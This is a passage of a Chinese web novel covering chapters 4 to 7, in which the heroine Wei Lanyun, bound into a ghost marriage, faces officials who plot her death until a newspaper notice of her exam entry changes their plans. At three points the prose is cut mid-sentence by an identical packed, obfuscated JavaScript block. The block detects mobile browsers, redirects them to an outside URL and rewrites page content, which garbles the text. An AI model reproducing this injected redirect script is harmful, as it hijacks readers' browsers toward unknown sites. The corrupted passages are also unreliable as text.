魏兰蕴的声音也极为轻柔，就像晨起探出窗外去，对屋外的邻居道着晨好，她手里的茶饮尽了，空空的茶杯放在桌面上。 “曲则全，枉则直，洼则盈，敝则新（注1），盛极而衰，福祸相倚，晴天之后是雨天，白昼之后便是黑夜。” 徐二老爷提起红泥火炉上的水壶，双手隆重地给客人续着茶水，水满了茶杯，溢在了桌面上。 他放下了水壶，对魏兰蕴露出来自长辈的赞许的笑容。 “你靠着自己多活过了一个白天，已经很不错了。” 4. 囍（四） 屋外有人摔了一个趔趄。 是那自作聪明的奶母。 她似乎以为自己可以听见一个青天包拯明断案定公道的故事。 不过可惜。 事与愿违。 徐二老爷的眼底闪过一丝厌恶，不过这抹情绪随即又消失不见，他这样素有贤名的老爷大人，怎么会去厌恶一个下人呢？这听上去一点也不贤明。 当然，他也不会去厌恶一个做了坏事的女孩子。 “魏娘子是不是很惊讶？”徐二老爷慈祥地笑着，将茶杯推至魏兰蕴面前，他顿了顿，继续说道，“你做了这么多手段……” “……下药、恶意放火、挑拨妯娌不合，况且已经亮出了自己的身份了，怎么还要去死呢？” 爱妻因一碗羊肉汤陡然病住了，羊油炼的蜡烛突然的便炸了，新娘子拜堂前就是关在乡中羊圈里，到现在身上还弥散开一股难闻的羊臊臭气。 很难说这些仅是一个巧合。 徐二老爷露出了对调皮捣蛋的孩子恨铁不成钢的表情。 “是啊，这是为什么呢？” 魏兰蕴轻声说道，她还在望着窗外。 奶母已经躲得远远的了，徒留徐幺娘一个人在外边。 暖阁门外的树下有一窝蚂蚁，徐幺娘蹲在树下看蚂蚁。 她天真可爱，正是无忧无虑的年纪。 徐二老爷顺着魏兰蕴的目光看过去，脸上不自觉露出发自内心的慈爱的笑意。 其实徐二老爷对于老宅里的这些巧合并无实证，他只是猜测。 可这个女孩子就这样禁不起诈。 坦荡地，就这样承认了。 徐二老爷在心里讥讽一笑。 女人就是这样，卑陋难陈，只懂阴私算计，不会俗世道理，陛下竟还要女人来考科举，真是滑天下之大稽！ 他当然不会在面上笑出来，这样太刻薄了，一点也不是一个贤德的老爷会做的事情。 徐二老爷清了清喉咙，背略微躬了躬，腰背靠在圆桌上，让自己坐的更舒服了些。 他喜欢这样一切尽在自己掌握的感觉，他继续说着，语气轻柔又温润：“庆林总督年前给太后进献了一筐橘子，橘子有甜的，有酸的，也有坏掉的，太后喜甜，于是内廷的宫女们会将甜的橘子筛出来，贡着献给太后。” “橘子同宗同族，外表皆是光鲜亮丽的，却还是有三六九等之分的。” “甜的橘子是太后喜爱的，若是有人偷了窃了太后会震怒；酸的橘子太后不食，但冬日里的橘子是稀罕物，若是有人妄之，也是要求着赏赐的；然而坏掉的橘子就不一样了，丢在地上，踩出一地儿臭水出来，太后不在乎，旁的人也不在乎。” 徐二老爷说着，又轻瞥了魏兰蕴一眼。 这个女孩子跪坐在垫子上，静静地饮着杯中的茶。 连茶满送客这样的道理都不懂，象征着羞辱的茶竟还捧在手心里用，真是一个愚鲁又短见薄识的女孩子。 这样的女孩子能听懂他话里的话吗？ 看她这木雕泥塑一般的样子。 猜也知是没听懂。 徐二老爷不耐烦地叹了一口气，正打算重新直白地将他的话说上一遍，魏兰蕴却抢先一步说话了。 她笑着说，语气是若春日里的轻柔。 “是呢，冬日里的橘子是稀罕物。” 桌面上徐家夫人嫌弃的，乡野妇人吃剩的茶点，于她来说，就像是久旱逢甘霖一般，是她三日未尽水米近乎死亡的身体的良药。 魏兰蕴咽下最后一口冷茶，抬眼与徐二老爷对视。 她一点也没有害怕，一点也没有因和蔼的长辈突然厌恶自己，而感到自卑自怯自毁，她自信极了，像一个沐浴着阳光出生的孩子。 “这样好的橘子，如果我是内廷的人，我也必然要挑上一两个来尝一尝，档上写了这是坏橘子，踩踏了丢了抛了，谁又能知道这橘子究竟是甜是酸，是到了我的肚子里还是到了我的脚下？” 她直视着徐二老爷的眼睛，一字一句说道。 “二老爷为官多年，自是饱知人间的道理，有时候重要的并不是橘子本身，而是对待橘子的方式。” 她是魏家放逐的女儿，魏家轻贱她，抛弃她。 但你又是谁？你凭什么来替魏邕轻侮她的孙女，来替魏伯雍诛杀他的女儿？ 你算个什么东西！ 徐二老爷厌恶地看着魏兰蕴，这抹厌恶停留了许久，徐二老爷险些没压下去。 他一点也不喜欢这个女孩子。 确实有一点小聪明，但不诚实，不坦荡，满脸都是阴险狡诈的诡异算计。 她不愿意成这场婚事，大大方方说不愿意便好了，他们徐家又不是未开化的野蛮人，她说了难道还能不放她回家吗？ 又是下药又是放火，搅得他家一片人仰马翻。 真是讨人嫌，怪不得魏家人不待见她。 “橘子成熟之时，果农们拿着梯子，小心翼翼地在树上剪下成色最好的橘子，用布兜裹了，连夜送往京城去。”徐二老爷强压着怒火顿了顿，继续说道，“吃橘子的并非果农，我们也不是强抓你来的我家。” “魏娘子，你恨错了人了。” 徐二老爷站起身来，他冷漠地看着魏兰蕴。 他高大的身影挡在窗户前，阴影掉落在魏兰蕴的身上。 这个女孩子身上又没有了光。 今天是个大晴天，银湾的水在暅光下粼粼。 魏家正院里却阴森森的，恰如魏三老爷的脸一样。 在魏三老爷提出要接魏兰蕴回家之时，魏三夫人便扑在他的脚下，大声地哭泣，什么脸面威严都不顾了，只一味地拖着他，不让他走。 魏三老爷不解，他盯着魏三夫人，一动不动。 “这场婚事，是你提出来的吧。” 终于，他恍然大悟。 “你侄子去年科举作弊下了大狱，大哥说平日里你克扣大姐儿的吃用补贴你那毫无出息的侄子便罢了，让他为你那侄子以权谋私是万万不可的，我以为你闹了两回之后不闹了，是想明白了、懂事了，原来你竟打着的是这个主意。” “原来是你把我的侄女卖了。” 魏三老爷怒火中烧。 而在另一边，徐二老爷又微笑着，气定神闲。 “我家夫人的二兄去岁于丹州学政就任，贵府三夫人的娘家侄子去岁院试作弊被捕，照梁律要徒三月、鞭二十、革除一切功名，永世不允再科考，我徐家高门显贵，愿意送女求荣的人不知凡几，如果不是你家三夫人上赶着把你送过来，你以为，我们能看得上你？” “身上流着猪臊味儿的血，你父亲厌恶你，我们也是。” “究竟是我家夫人强要了你过来作配，还是你家夫人强塞了你来成婚。” “事与事之间，总归是不一样的。” 如果是徐家以权威压人，抢了人非要来做这丧良心的事，那徐家必会在朝堂上面对各派攻讦，但若是魏家为了献媚，主动送上嫡长女殉葬。 那么这件事，可就不是他们徐家的责任了。 “求权、灭亲。”徐二老爷的声音忽的变得严肃且抑扬顿挫，他怒目而视，声音似乎压抑着极大的怒火，“这件事情若是传了出去，对于你父亲的官声与前途，可是大大的打击啊！” 没有什么比一个慈祥和蔼的人突然发怒更能震慑人了。 徐二老爷企图看见魏兰蕴那从容的脸上撕开一条缝隙，露出她这个年纪的女孩子本该就有的自责自卑自惧来。 可是没有。 魏兰蕴依旧泰然。 “是吗？” 她说。 “那这对于徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354443|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二老爷您的官声和前途，就一点打击都没有吗？” 徐二老爷发怒的假面险些裂开了一条缝隙。 魏兰蕴看向他的目光是太过从容和自信了，那样直击内心深处的自若，几乎要唤出掩藏在徐二老爷内心深处潜藏的不安。 “得景嫁殇，邻人告违禁，此非合祔之仪，爰抵嫁殇之禁，徒念幼年无偶，岂宜长夜有行，夫此既违国禁，是乱人伦（注1），一个爱民如子的父母官，有朝一日违国禁、乱人伦，这对于徐二老爷您的官声和前途，就一点打击都没有吗？” 徐二老爷松了一口气。 旋即又为他险些乱了阵脚而发笑。 那件事这般的隐秘，这个女孩子怎么可能会知道。 “有或没有，现在已经不重要了。”徐二老爷再度微笑。 奶母给幺娘端上了一杯热茶，小姑娘不喜欢喝水，趁着奶母不注意将水倾倒在蚁窝里面，蚁群在滚水里挣扎着，有一只蚂蚁随着水流冲到了平地上，它拼尽全力挥动着触脚，在薄薄的水面上翻过了身来，然后灵巧地爬到干旱处。 它很努力，为自己捡回了一条命。 然后小姑娘一只脚踩下去。 把它踩进了土里。 她看蝼蚁的眼神，恰如徐二老爷看魏兰蕴的眼神。 “无论如何，你今天都必死无疑了。” “你不必担心魏三爷来救你，他现在，才是最盼着你死的人。” 这件事太大了，大到有人把它参到朝堂上去，徐家与魏家都不能从里面干干净净地摘出自己，无非是谁受的影响大或小之间的区别。 没有人会愿意自己的前途染上污点。 魏家不愿意，徐家也不愿意。 要把这件事情掩埋，让它不至于危害到两家的前途；要把这个人掩埋，以致使她无法诉说自己的冤苦。 没有什么比让魏兰蕴死在这场喜事，更合适的办法了。 这样，徐家不会说出这件事，魏家也不会说出这件事，受害者更加不会说出这件事。 皆大欢喜。 魏三老爷也是这么想的。 他扭头朝着书房走去，镇纸一展，起笔就书。 “我这就向大哥写信，告诉他，大姐儿在丹州宅子里病故，就地……”魏三老爷想了想，又换了一张纸，“告诉他，大姐儿的尸身在运送回老家的途中，遭遇山匪抢劫，摔下山崖，寻无踪迹。” 这般，才算是万无一失。 他们魏家从来没有送过女儿求权，他们的嫡长女儿是在丹州病逝了，如果有人参议，那么你就去刨开清水潭老徐家的祖坟，尽管去证明那具腐烂的尸体是我魏家的女儿去吧！ 只是可惜他那个侄女了。 毕竟是血亲呐…… 魏三老爷有一瞬的心疼。 可旋即他一想，自己亲大哥都不在意这个亲女儿，他一个做小叔的，少上赶着狗拿耗子了，这件事就算是摊开来给大哥说，大哥只怕也要照杀无误的。 魏三老爷舒了一口气。 他桌面上正摊着一本魏家家训，这是代代魏家家主填补写就的，书页被风吹开，冬日枯黄的叶子从窗外飘进来，正巧落在其中一句上。 既翕以协兄弟，好合以乐妻孥，择德以结婚姻，隆师以教子孙，勿欺以交朋友，克勤以绝耽乐之蠹己，克俭以辨饥渴之害心（注2）。 魏三老爷轻瞥家训一眼。 他冷哼一声，随意把叶子掸了，将书扔在一边。 管家却从外边急急赶来。 在冬日里，他跑得衣襟都被汗湿了，他焦灼极了，一路推开了门。 阳光从门廊处陡地一下泼洒进来，魏三老爷眯了眯眼睛，他正想发怒起来，却见管家在暖阳之下高举一卷书报，大声喊道。 “老爷，出大事了，县报发了，上面写着——” 5. 囍（五） “右都御史魏邕长孙魏兰蕴，应祖父教诲，呈大诰之命，将于二月十六，应考县试。” 小厮跪在地上，颤抖地念出上面的字。 徐二老爷的面色难堪极了。 这难堪不在于这份书报，而在于小厮进来禀报之前，他刚刚对魏兰蕴放了一句狠话，而就在放完狠话之后，魏兰蕴的生死就不由他来掌握，她也许今天死不成了。 这让徐二老爷觉得他就像一个窘迫的男人，只会放娘西皮的狠话。 自他嘉和二年就任万兴县令那时起，他就一直是令出惟行。 他许久没有这样窝囊的感觉了。 徐二老爷抢过书报，将那份报纸底下的两行字看了一遍又一遍，久久不曾言语。 应命应命。 应陛下的命，应祖父的命。 真是忠孝两全的好女儿。 谁有资格阻止她，谁又有资格安排她的命运，以致她二月十六无法参考县试？ “该死的小娘皮，没想到还有这一手，我现在就去找魏王氏讨个说法去……”徐二夫人扶着仆妇起身，骂骂咧咧。 徐二老爷气极了，一脚便踢过去。 徐二夫人狠狠摔在地上，发出咚的一声。 徐大夫人偷偷地笑了，却被二老爷一记眼刀剜过去。 “你看看你做的好事！”徐二老爷将书报摔在二夫人脸上，“都怪你要办什么娘西皮的冥婚！那样去死的儿子有什么好埋的？一卷凉席扔乱葬岗喂狗得了！都是你——” 徐二老爷狠狠指着徐二夫人。 他气极了，话说的极快，口水顺着齿缝喷了二夫人满脸。 骂完他仍觉得不解气，又狠狠朝着二夫人心口踢了一脚。 “老爷，现在最重要的是——”有人上来劝了一句，说话时嘴角努向魏兰蕴的方向，“她，应该如何处理？” 是啊。 她应该怎么处理？ 相隔两地的老爷们同时沉思片刻。 就在太阳没过天空最高点的时候，两个老爷一齐抬头，他们说道：“拿我的名帖去找银湾县尊，务必要把今日刊发的所有邸报，都收回来。” 徐魏两家的帖子敲开了府衙的大门，衙内的皂吏如流水一般涌出了门。 刊印邸报的书坊被重新封上了门板，匠人俱被木棍羁押着蹲在地上； 书生坐在茶坊读报，横行的皂吏一把拽过了他的书报； 算账的掌柜将邸报随意了，三俩皂吏冲过来强逼他找出报纸，他配着叆叇，翻箱倒柜找了半天，才巍巍颤颤将报纸交出。 整个银湾一片人仰马翻，不出半日时间，一箱报纸便被送到了县尊府内。 “自刊印到发售共有五百一十二份报纸，其中五百一十一份俱已在此。” 那领头的皂吏汇报。 “那还有一份呢？”县尊不解。 皂吏却欲言又止，面露难色。 这里是银湾最负盛名的酒楼。 建筑精巧别致，酒食奇特独有令人口齿生香，要价更是不菲，足以称得上是米珠薪桂，曾有诗人在酒楼醉饮罢且呼：“溜溜清声归小瓮（注1），一盏饮罢一万贯。” 这更是让这酒楼增添几分声名。 酒楼背后的东家极为硬气，放出豪言一天仅待一百客，哪怕是县尊公子并银湾几大豪商家驾临，酒楼也从未改变过规矩。 但是今天，这座酒楼罕见地被人包场了。 二三四楼三十七间包房一齐被打通，三楼的公子攀着栏杆，一招倒挂金钩将球击至二楼球门处；二楼的儿郎正玩捶丸，丸球儿打猛了飞到楼下去，正巧惊了楼下射箭的郎君们，一簇羽箭咻得一下向四楼飞去，随后便被几个配甲的卫士们打了下去。 这些配甲的卫士庄严肃穆地守卫在四楼。 四楼正中坐着一位锦袍小郎君，脸圆润可爱，年纪左不过十一二岁，他正玩着投壶，苦奈屡投不中，三两个穿着上好缎子的公子替他捧着投壶，追着他的羽箭而去。 箭偶的中了几个，小郎君却觉得好没意思，抛下了竹筒朝着四楼东南角跑去。 东南角设了一张睡榻，是紫檀木打的好玩意儿。 榻上镂空雕了和合如意松枝翠柳等花纹，铺了天青色的苏锦面的软垫，睡榻似乎用了有些年头了，木头在阳光下散发着晶莹圆润的光泽，这般大的睡榻，至少要五个粗壮的工匠，才能合力把它运上四楼。 睡榻上躺了一个大郎君。 郎君宽肩窄腰，穿着大红色的曳撒袍，腰肩手腕上皆配了皮甲，头发用一顶铜冠束成马尾状，隐隐可见尾发里藏着的长生辫。 他一脚搭着窗台，一脚踩在榻上，双手放在颈后，眼上盖着书报，正在闲适地晒太阳。 小郎君捧着一盘新鲜的吃食一溜烟跑过去。 “十一叔，紫苏鱼脯酿豆腐。” 大郎君没有说话，嘴巴张了开来，小郎君立刻狗腿子般给他喂食，吃了大半盘下去，大郎君只觉得有些渴，他开口说道：“拿点水来。” 小郎君欢喜急了，又是一溜烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354444|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑过去给大郎君递水，时兴的十六种饮子一一排开，大郎君坐了起来，脸上的报纸掉落在地上。 他顺手拿了一杯最顺眼的一饮而尽，然后又歇在榻上，拿了张锦被盖眼。 “小王孙果真最听十一郎的话。” 有个公子含笑经过，将报纸捡起，忽的惊讶地哦了一声，随后说道。 “魏邕的孙女竟要考科举了。” “这有什么奇怪的，大诰一颁下来，那群文人就像见了鱼的猫一样，今儿自家的这个才女要上场，明天那个才女上场，这东西南北的才女多得数不清，却没有一个考上的！” 楼下有个武夫家的公子不屑的道。 “说不定这个，也是个‘才女’！”有人跟着嬉笑，“魏邕那儿子，最喜欢往清名上靠，但凡有个好听点的名声，他家都要占了去，说不定这不仅是个‘才女’，还是个‘美女’！” 公子们笑成一片，有人忽的把话题引到了大郎君身上去。 “琚郎，你买这报，该不会是对这才女并美女起了心思吧！” “我们琚郎说不定还真有这个心思，想当年琚郎可是爬过魏邕家的墙，只为了看那传说中的魏大娘！后来还给魏邕提着衣领子打了……” 这公子还没说完，十五杯饮子从四楼翻了下去，淋得他头脸俱是，他仰头向上望去，只见裴琚撑着栏杆，含着眸子看着他，眼神冷漠极了。 公子吓得一哆嗦，他腿脚一软跪在地上，砰砰磕着头。 裴琚没有再看他，扭头回去倒在睡榻上面，盖着锦被睡了。 酒楼外魏家的小厮急的摇摆。 “好哥哥，你就告诉了我罢！那里面究竟是什么人？”小厮拉着小二的手，急急问道。 小二推开他的手，连忙摆手道：“这里面的人可不是你惹得起的，你莫要犯了傻事！” “我家老爷说了，里边的东西是一定要拿回去的，若是拿不回去，那我……”小厮掏出几锭银子往小二怀里塞去，“你也知道我家大老爷，是陛下跟前办事儿的相公……” “这我当然知道……”小二把银子塞进怀里，安抚地拍了拍小厮的手，“今儿里面那位，就是连你家大老爷，也是惹不起的，你把他们的身份一说，保管你家老爷不会怪你！” 小二压低了声音，在小厮耳边说道。 “今儿在里面那位得陛下亲赐与皇子同序同姓，是宁都王独子、西林军少主、华阳大长公主的儿子……” “……京都里赫赫有名的小霸王，裴十一郎。” 6. 囍（六） “是……他？” 魏三老爷打翻了茶杯。 小厮缩着脑袋，头近乎要埋进了地底，他将小二对他所说的话一字不落复述出来，随后为自己辩解道：“奴在那酒楼外绕了四五圈，那楼围的跟铁桶一般，守得严密极了，奴重贿那楼中雇工才得了几分消息，书报应当就在那宁都世子手里……” “好，我知道了。”魏三老爷不耐烦地打断他。 小厮哐当一声跪在地上。 魏三老爷对于书报刊发的愤怒仍历历在目，话语听不清晰，情绪却声声入耳，小厮害怕地咣当一声跪在地上，砰砰磕着头，磕到魏三夫人呢喃了一句，小厮这才神思扭转，不敢置信地抬头望了一眼魏三老爷，随后一股脑地滚走了。 “既然是他，这可怎么办啊？”魏三夫人忧心忡忡。 她虽久居乡下，倒是也听说过这个上揪皇帝胡子，下揍皇帝儿子的小霸王，若是最后一份报纸在他手中的话，这近乎是绝无拿回来的可能了。 魏三老爷碾着胡须，他眼神专注地盯着案几上的格言，久久不曾言语。 “这只是一份报纸而已，况且还是在那大字不识一个的小霸王手里，这应该……也没什么大碍吧……”魏三夫人试探地道。 她仍记得裴十一郎于魏宅发生的丑事。 不学无术的小世子将墙上的题下的春池嫣韵，拆拆分分念成了去他娘的，惹得众人哄笑，魏三夫人虽然当时并不在场，但这件事仍是口耳相传到了她的耳中。 虽然魏家人相传并不是因为小世子的无知，而是因为小世子的驾临。 但这并不妨碍世子无知的真实性。 那样字都认不全的人，买了书报也应是包油饼用，怎么可能会仔细看那报纸，还正巧看见魏兰蕴要考科举那么一行小字？ “宁都王与大哥从无交集，就算是碰巧看见这行字了，也是一过眼便忘了的事儿……”观察着魏三老爷的神色，魏三夫人再度犹豫地说道，“实在不行我们派人守在酒楼外边，若是见着书报随着垃圾一齐扔出去，咱们便收来毁了？” “亦或是我们魏家再登个报纸！就说上一行字是外人刻意造谣，咱们去辟谣！” 魏三夫人咬咬牙，一跺脚便这样决定了。 她舒了一口气，仿佛找到了这件事最合适的解决办法，提着裙子往外疾步走。 办事要快，要快，不能让魏兰蕴回来。 魏三夫人默念着。 魏三老爷却猛地站了起来，撞翻了案几。 “老爷？”魏三夫人不解地看着他。 “你跟徐老二的媳妇可有留下过什么书信？”魏三老爷质问三夫人。 魏三夫人忙摇头：“没有，都是让人递了话去，我们从未写过信。” “那便好。”魏三老爷清了清嗓子，向外走去，“我现在就去徐家一趟……” “……若是大姐儿死了，那我便要为我家被徐家掳走殉葬的女儿，讨一个公道了。” 千里之堤毁于蚁穴。 嘉佑二年三月魏老太爷因诗被贬，嘉佑二年十月，戎人南下攻破太康、上阳、泽州三城，兵马直逼京师，三城百姓纷纷西逃，魏家也是如此。 那一年，三岁的魏叔礼还不是个老爷，他只是一个为了一点草根子跟别人龇牙咧嘴的孩子，也是因为一点草根子被别人打碎了门牙的孩子。 逃难时是一个冬天，魏三老爷倒在湿润的泥地里，缩成小小的一团，他身上是刺骨的冷，胃里却饿得像一团火在烧。 老太爷被贬之前品阶并不低，朝堂上多少人希望他自高台上掉下来。 贬斥俄而失地，逃难的那两年，他们一家近乎任人欺凌。 尔后是大哥带着一家人躲去了偏僻的银湾，一家人在这座无人知晓的小城安顿下来，然后聘了大嫂那样勤奋的妇人，家里这才有些许改善，待到当今陛下拨乱反正，为父亲平反，大哥又科举及第，全家人的生活这又才恢复原样。 魏三老爷再也不想回到那样的生活了。 就算是死，他也不想回到那为了一点草根树皮跟别人拼命的生活了。 所以，不能冒险。 一点风险也不可以有。 徐二老爷只觉得头疼欲裂。 徐二夫人哭哭啼啼地非要魏家的女儿死，徐大夫人在一旁阴阳怪气地劝和着，小厮一刻钟前告诉他最后一份报纸在华阳公主家的小霸王手里，而门房上前禀报—— 魏家三老爷，魏叔礼来了。 这意思不言而喻。 “都给我闭嘴！” 徐二老爷怒吼着，把萦绕在耳边的哭哭啼啼及阴阳怪气一并喝止住，他恨铁不成钢地看着眼前两个愚不可及的女人，哀叹了一口气。 现在，也只能这样了—— 徐家开了门，把魏三老爷迎进正堂里来。 徐二老爷乐呵呵地笑着，迎上去握住魏三老爷的手。 “老弟呀，你可算是来了！你家大姐儿在我家玩了几天，非不肯回家去，说跟我家小幺玩得极好，要给我当女儿了昵！” 徐二老爷说着，便露出了清水潭的乡音调子。 “对不住！对不住老兄！是我家没教好女儿！”魏三老爷的脸上立刻扬起笑容，他回握徐二老爷的手，痛心疾首地道，“你也知道我家这女儿，我大哥的长女，又是家里老太爷亲自养大的，真是含在嘴里怕化了，家里谁都不敢对她说一句重话！结果在老兄这丢了丑了，真是对不住！” 人精一般的老爷们，在两相对望之后，便一清二楚对方的思量。 两个人几乎是在顷刻间达成了共识。 “这哪里的话！伯雍的女儿，不就是我的女儿，一家人的事，还谈什么两家话！我可稀罕你家大姐儿得紧，你若是再不来接她，我便将人抱走当女儿了！” 徐二老爷故意板着个脸，将魏三老爷往暖阁里边领着。 先前徐二老爷放完狠话，便让人把魏兰蕴从暖阁里面绑了出来，还是原样儿绑法，将她的颈首栓在棺材板子上，奴仆们七手八脚地替她解着绳子，报信儿的小厮一溜烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354445|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑来，奴仆们瞬间慌了神，他们将棺材板子卸了下来，乱糟糟地挤成一团。 手脚轻快的率先一步走，翻过暖阁的后窗，后头的紧随而上，嘿哈一声将魏兰蕴就着棺材板子架在暖阁的后窗上，两边一齐使力气，人还没落在地上，门却开了。 徐二老爷和魏三老爷错愕地看着他们。 奶母此时也匆匆把徐幺娘带了来。 幺娘子七手八脚地挣扎着，踢翻了小几，茶水撒了一地。 “女孩子嘛，玩闹起来，也没个边际……”徐二老爷讪讪地笑着。 可魏三老爷脸色低沉，并无言语。 徐二老爷心下有些慌乱。 到底是耳听不如亲见，远在他乡的魏三老爷只是知晓自己的侄女被送去配了冥婚，和亲自见到侄女被配了冥婚的场面，到底是不一样的。 家里宝贝着，或许也并非宝贝着养大的女孩子，被当成最低等的人畜，拴着捆着，身上血和泥土混杂交错，已看不出衣物本来的颜色。 徐二老爷都不敢想，自己心爱的幺女儿被这样如猪如狗般对待，他会怎么样。 他只怕要发疯。 哪怕他是一个文官，他也会扛起大刀来，杀光这个暖阁里所有的人，一个不留。 “还不快给姐儿解开！主子们不懂事，你们做下人的不会劝着吗？”徐二老爷厉喝道。 下人们手忙脚乱，东扯一线头，西拽一绳结，越折腾绳子越捆得紧些，徐二老爷急的连都红了，他怒吼道：“拿剪子来！不知道拿剪子来吗？” 不知是哪个机灵的奴才找出了剪子，三下两除二剪开了魏兰蕴身上的麻绳。 魏兰蕴悬在窗户上，绳索陡一剪断，她顺着棺板滚落在地上。 没了绳索的遮挡，她脖颈间那道青紫的勒痕尤为骇人。 徐二老爷倒吸了一口凉气。 初见这道伤痕时，他是俯瞰魏兰蕴的，在高贵的老爷面前，一个必死的孤女只是蝼蚁，他根本不在意蝼蚁的触脚断了几根。 而再见这道伤痕时，魏兰蕴与他站在了同一块土地上，这是同僚的女儿，未来阁臣家的娘子，这样的伤痕出现在她的身上，简直令徐二老爷触目惊心。 “这是怎么回事？”魏三老爷板起了脸来。 徐二老爷的冷汗沾湿了鬓角。 看魏老三的反应，是要翻脸了。 魏兰蕴既然没有死，那这件事说大也可以大，说小也可以小。 但闹起来对两家的影响的都不会少。 若是对面什么功名利禄都不要了，非要拼个鱼死网破，给家里的女儿闹个不平，至少徐家现在，是不愿意承担这份风险的。 此时此刻，若是不付出点什么，怕是难过这一关了。 徐二老爷叹了一口气，正想请魏三老爷找个僻静的地方详谈，却听魏三老爷怒气冲冲地说—— “大姐儿，你身为姐姐，妹妹不知道轻重，你还不知道吗？竟与妹妹玩这般危险的游戏！真是……” “太不像话了！” 7. 囍（七） 不像什……么？ 徐二老爷僵直着脖颈，尚未领会到魏三老爷话语的含义。 他们这些官场上的老爷，话里话外的意思太多了。 有人说东，但意思却是西；有人指着鹿，但意思却是马；魏三老爷究竟是对徐家的做法产生的愤怒而阴阳怪气说话，还是依旧是遵从着两人方才的约定顺势而说。 徐二老爷听不出来。 他眼睛左右转了一转，直到确认魏三老爷面庞上的愤怒，是来自于对晚辈不懂事佯装的愤怒，而不是对于目之所及残忍做法的愤怒，徐二老爷这才松了一口气。 “怎么能骂孩子呢？” 徐二老爷立刻板起了脸，护在魏兰蕴身前，对魏三老爷怒目而视。 “嬉笑玩乐罢了，哪就轻了重了，叔礼老弟若是严苛至此，那孩子就别接回去了！把孩子留在我家吧！做我徐重的女儿！” “也就是你徐二叔待你亲厚，若是换了旁人家，还指不定怎么编排我家没教养！”魏三老爷指责魏兰蕴，“还不快谢谢你徐二叔，一天天的，尽让长辈操心！” 暖阁里只有两位老爷的一唱一和。 奴仆们安静极了，他们俱惊诧地望着两个改头换面的老爷。 不知该作何表情。 暖阁的多宝架上放着徐幺娘的瓷娃娃。 娃娃的脸面忽的掉在了地上。 摔得稀碎。 徒留挂着两枚锁扣的瓷胚子，胚子又粗又黑，还散发着一股泥巴的臭气。 暖阁安静了一瞬。 徐二老爷趁机抓着魏兰蕴的手臂，将她扶了起来，推在了魏三老爷面前。 “叔礼老弟，你家的乖乖侄女儿我现在就完璧归赵了！”徐二老爷笑得祥和，意有所指，“若是日后小孩子不懂事再跑出去玩，可不要再来找我要人了。” “那是自然！”魏三老爷点了点头，“我回去之后定要她婶母好好管教她，下次再这么不懂事，必定家法伺候！” 事情已经结束了。 魏三老爷朝外走去，徐二老爷一路相送。 魏家来的奴仆接管了魏兰蕴，他们搀着虚弱的女孩子，跟在魏三老爷的后面。 魏三老爷是个文官，并不会骑马，所以魏家派了两辆马车来。 魏三老爷率先上了一辆，仆从欲引着魏兰蕴上另外一辆，可魏兰蕴没有动。 “怎么了，大姐儿还是喜欢二叔家？想留在二叔家里玩？不想回家？”徐二老爷乐呵呵地笑着打趣道。 魏兰蕴摇了摇头，她说：“我一直在想，在徐家我非死不可的理由。” 未登报之前，对于魏家来说，人已经送出去了，错误已经犯下，最好的做法便是放纵这件事，拉徐家下水，两家都不干净，那谁也不会揭发谁。 然而徐家不一样，在大火没有烧起来的时候，徐家知道这件事的人，只有徐二夫人一个，所有推动这件事发生的行为，也都是徐二夫人做下的。 徐二老爷能做到三品盐运使如此高位，不是蠢人。 将魏伯雍的女儿殉葬，除了告慰死人，满足妻子的念想之外，他得不到半分好处，甚至还有可能若干年后被政敌翻出这件事情，狠狠杀他一刀。 但是带着魏伯雍的女儿去告御状，将这件事推到徐家无知妇孺身上，把自己摘干净，哭诉言明他不忍如此残忍的行为，想救一条性命。 这便会给魏伯雍狠狠来上一刀，还给自己博得了个善良仁爱的名声。 官场如战场，别人下去了，他才可以上来。 更别说魏伯雍现在正在入阁的关键时期。 多少人盯着他那个位置？ 退一步说，哪怕徐家和魏家无冤无仇，将魏兰蕴带到魏伯雍面前，言明利弊，将一切错误归结于魏家三房和徐二夫人，便可以卖魏伯雍一个面子，让他欠下一个人情。 未来阁臣的人情，这对徐二老爷来说可是可遇不可求的。 但为什么，徐二老爷会选择如此极端的路，一定要魏兰蕴死呢？ 难道是为了被她下药生病的妻子报仇？ 亦或者是为了那间被烧掉的破弄堂？ 魏兰蕴觉得不是。 直觉告诉她，事情另有真相，真相就掩藏在她试探徐二老爷之时，他那一瞬间表现的慌乱，而当魏兰蕴打岔掩过这件事之后，徐二老爷又瞬间变得从容起来。 所以，事情的真相是什么呢？ “徐二老爷，你的儿子，听说是回乡祭祖之时遭遇马匪截杀而死的呐。” 魏兰蕴轻声说。 